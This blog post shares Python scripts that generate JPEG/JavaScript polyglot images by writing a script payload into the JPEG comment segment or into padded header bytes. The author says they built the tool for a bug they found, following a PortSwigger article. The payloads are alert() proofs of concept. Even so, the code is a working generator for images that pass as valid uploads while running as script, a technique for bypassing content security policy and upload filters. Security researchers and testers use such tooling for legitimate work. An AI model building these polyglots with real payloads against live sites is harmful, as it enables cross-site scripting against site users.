Complement Scripts for polyglot jpg's

Inspired by the Gareth Heyes article I haven’t found any tool to automatticaly generate a polyglot image like that, so I decide to do my own.

This is tool is simple, the user need to pass in the first argument a normal image (a valid image) and in the second argument a output name for the new image:

1
python polyglothing.py image.jpg out.jpg

Doesn’t have too much explain here. Anyway I comeback to the Gareth Heyes article recently because I’ve found a bug exactly like that however my image need to have a specific width & height, so I was almost forced to write this tool. However playing with the image provided by the portswigger another problem came, when I change the payload of the image this image become a invalid Image. I resolved learn a little more about it and have created the following code. This is a simple code that receive the portswigger image and exchange the payload and also exchange the dimensions.

padding: 2f2a = 12074

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import binascii
import sys

with open('../out222.jpg','rb') as f:
data = f.read().hex()

def commentTable(hexStr,payload):
afterComment = hexStr.split("fffe00")[0]
initComment = hexStr.split("fffe00")[1] # application0 ffe0/16
finalComment = initComment.split('ffdb',1)[1] # quantization table ffdb/67
payloadLength = hex(len(payload)+2)
hexPayload = payload.encode('utf-8')
payloadResult = payloadLength.split("0x")[1]
if(len(payloadResult) != 2):
new_hex = afterComment+"fffe00"+str(payloadResult)+hexPayload.hex()+"ffdb"+finalComment
else:
new_hex=afterComment+"fffe00"+str(payloadLength.split("0x")[1])+hexPayload.hex()+"ffdb"+finalComment
return new_hex

comment = commentTable(data,"*/=alert(1337)/*")
print(comment)



binFile = open('newImage.jpg','wb+')
binFile.write(binascii.unhexlify(comment))
binFile.close()

Also, I’ve created another simple code to create a image without a header and put your payload there, this can be more useful in a lot of other cases.

To start using this, you need to be sure that the jpg image doesn’t have any header, so, to do that I’ve used imagemagick.

padding: 093a = 2362

1
convert original.jpg cat.jpg

and then you just need to pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import binascii
import sys

with open('cat.jpg','rb') as f:
data = f.read().hex()



def ident(hexStr):
identifier = hexStr.split("ffe0",1)
middle = identifier[1].split("4a464946")[1]
middle = list(middle)
middle[0] = "2"
middle[1] = "f"
middle[2] = "2"
middle[3] = "a"
middle = ''.join(middle)
return identifier[0]+"ffe0093a4a464946"+middle


def imageEnd(hexStr):
endI = hexStr.rsplit("ffd9",1)[0]
return endI+"2a2f2f2fffd9"

def padding(hexStr,payload):
ffdb = hexStr.split("ffdb",1)
ffdb[0] += "00"*2348
ffdb[0] += payload.encode('utf-8').hex()+"ffdb"
restore = ffdb[0].split("ffd8ffe0")
fBytes = restore[1][0:28]
return ffdb[0]+ffdb[1]


x = ident(data)
ending = imageEnd(x)
pad = padding(ending,"*/=alert(1);/*")
print(binascii.unhexlify(padding(ending,"*/=alert(1)/*")))
binFile = open('null_newImage.jpg','wb+')
binFile.write(binascii.unhexlify(pad))
binFile.close()

Reference

To understand and write this scripts I used the same reference of the previous mentioned article: